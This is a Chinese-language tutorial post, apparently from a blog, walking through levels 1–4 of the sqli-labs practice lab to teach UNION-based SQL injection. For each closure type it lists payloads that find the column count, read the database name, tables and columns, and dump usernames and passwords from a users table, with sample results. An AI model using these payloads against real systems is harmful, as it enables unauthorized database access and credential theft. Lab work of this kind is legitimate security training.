sqli-labs-union联合查询(Less1-Less4)

union联合查询:(字符型)(数值型)(括号+单引号)(括号+双引号)

利用 SQL 语言中的 UNION 操作符,将攻击者构造的 SELECT 查询语句与原始程序的 SELECT 语句的结果合并,从而将我们想要获取的数据库信息(如账号密码、表名等)直接回显到网页上。

地位 :属于**"有回显"**的注入类型,是最直接、最高效、也是面试最爱问的经典注入手法

Less1(字符型):

bash 复制代码
-- 判断注入
?id=1' --+
-- 查字段数
?id=1' ORDER BY 3 --+
--判断回显位置
?id=-1' UNION SELECT 1,2,3 --+
-- UNION查询
?id=-1' UNION SELECT 1,2,database() --+
-- 爆表
?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+
-- 爆字段
?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' --+
-- 爆数据
?id=-1' UNION SELECT 1,group_concat(username),group_concat(password) FROM users --+

判断注入类型:字符型注入

查字段数 : 字段数为3

判断回显位置:

UNION查询: security

爆表:emails,referers,uagents,users

爆字段:user_id,first_name,last_name,user,password,avatar,last_login...(等)

爆数据:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin......(等)

Less2(数字型):

根据回显判断是数字型,命令与Less1相同只是闭合符不同:

bash 复制代码
-- 判断注入
?id=1 --+
-- 查字段数
?id=1 ORDER BY 3 --+
--判断回显位置
?id=-1 UNION SELECT 1,2,3 --+
-- UNION查询
?id=-1 UNION SELECT 1,2,database() --+
-- 爆表
?id=-1 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+
-- 爆字段
?id=-1 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' --+
-- 爆数据
?id=-1 UNION SELECT 1,group_concat(username),group_concat(password) FROM users --+

命令展示:

Less3(括号+单引号):

根据回显判断闭合符是括号+单引号,命令与Less1相同只是闭合符不同:

bash 复制代码
-- 判断注入
?id=1') --+
-- 查字段数
?id=1') ORDER BY 3 --+
-- 判断回显位置
?id=-1') UNION SELECT 1,2,3 --+
-- UNION 查询数据库名
?id=-1') UNION SELECT 1,2,database() --+
-- 爆表
?id=-1') UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+
-- 爆字段
?id=-1') UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' --+
-- 爆数据
?id=-1') UNION SELECT 1,group_concat(username),group_concat(password) FROM users --+

命令展示:

Less4(括号+双引号):

根据回显判断闭合符是括号+双引号,命令与Less1相同只是闭合符不同:

bash 复制代码
-- 判断注入
?id=1") --+
-- 查字段数
?id=1") ORDER BY 3 --+
-- 判断回显位置
?id=-1") UNION SELECT 1,2,3 --+
-- UNION 查询数据库名
?id=-1") UNION SELECT 1,2,database() --+
-- 爆表
?id=-1") UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+
-- 爆字段
?id=-1") UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' --+
-- 爆数据
?id=-1") UNION SELECT 1,group_concat(username),group_concat(password) FROM users --+

命令展示:

总结:

L1--L4 的本质区别只在闭合方式( ' , 没有闭合符 , ' ) , " ) )共四种

相关推荐
码少女12 分钟前
MySQL--库与表的增删改查基础
java·数据库·mysql
Eyfcom16 分钟前
〖物流 SaaS 实战 02〗SaaS 租户的计费与订阅模型:从“一锤子买卖”到“按需订阅”
linux·服务器·数据库·快递系统·物流saas实战
衡石科技35 分钟前
企业级 BI 的安全治理:衡石如何贯通认证、数据权限与审计
大数据·人工智能·安全·商业智能
打工的小王1 小时前
postgresql和mysql对比
数据库·mysql·postgresql
数据库急诊室_阿哲2 小时前
一次割接后的性能复核记录:基线、样本、回滚点
运维·数据库·dba
保利威视频SaaS小张3 小时前
企业直播接入笔记 12|企业内训直播怎么做签到和学时统计,防挂机这件事比想象中难
java·前端·数据库·笔记·视频云·polvy·polyv
顧棟5 小时前
【ES实战】 索引模板「可追溯、可校验」:一种模板治理的工程化思路
java·数据库·elasticsearch
Decay__5 小时前
SQLServer 监控体系构建 —— sql_exporter + Prometheus + Grafana 全栈实战
运维·数据库·sql·mysql·架构
tianyuanwo6 小时前
NocoDB 系统手册:PostgreSQL 主机资产管理的界面层实施方案
数据库·postgresql·oracle
Umi·6 小时前
MySQL之多表关联查询练习
数据库·mysql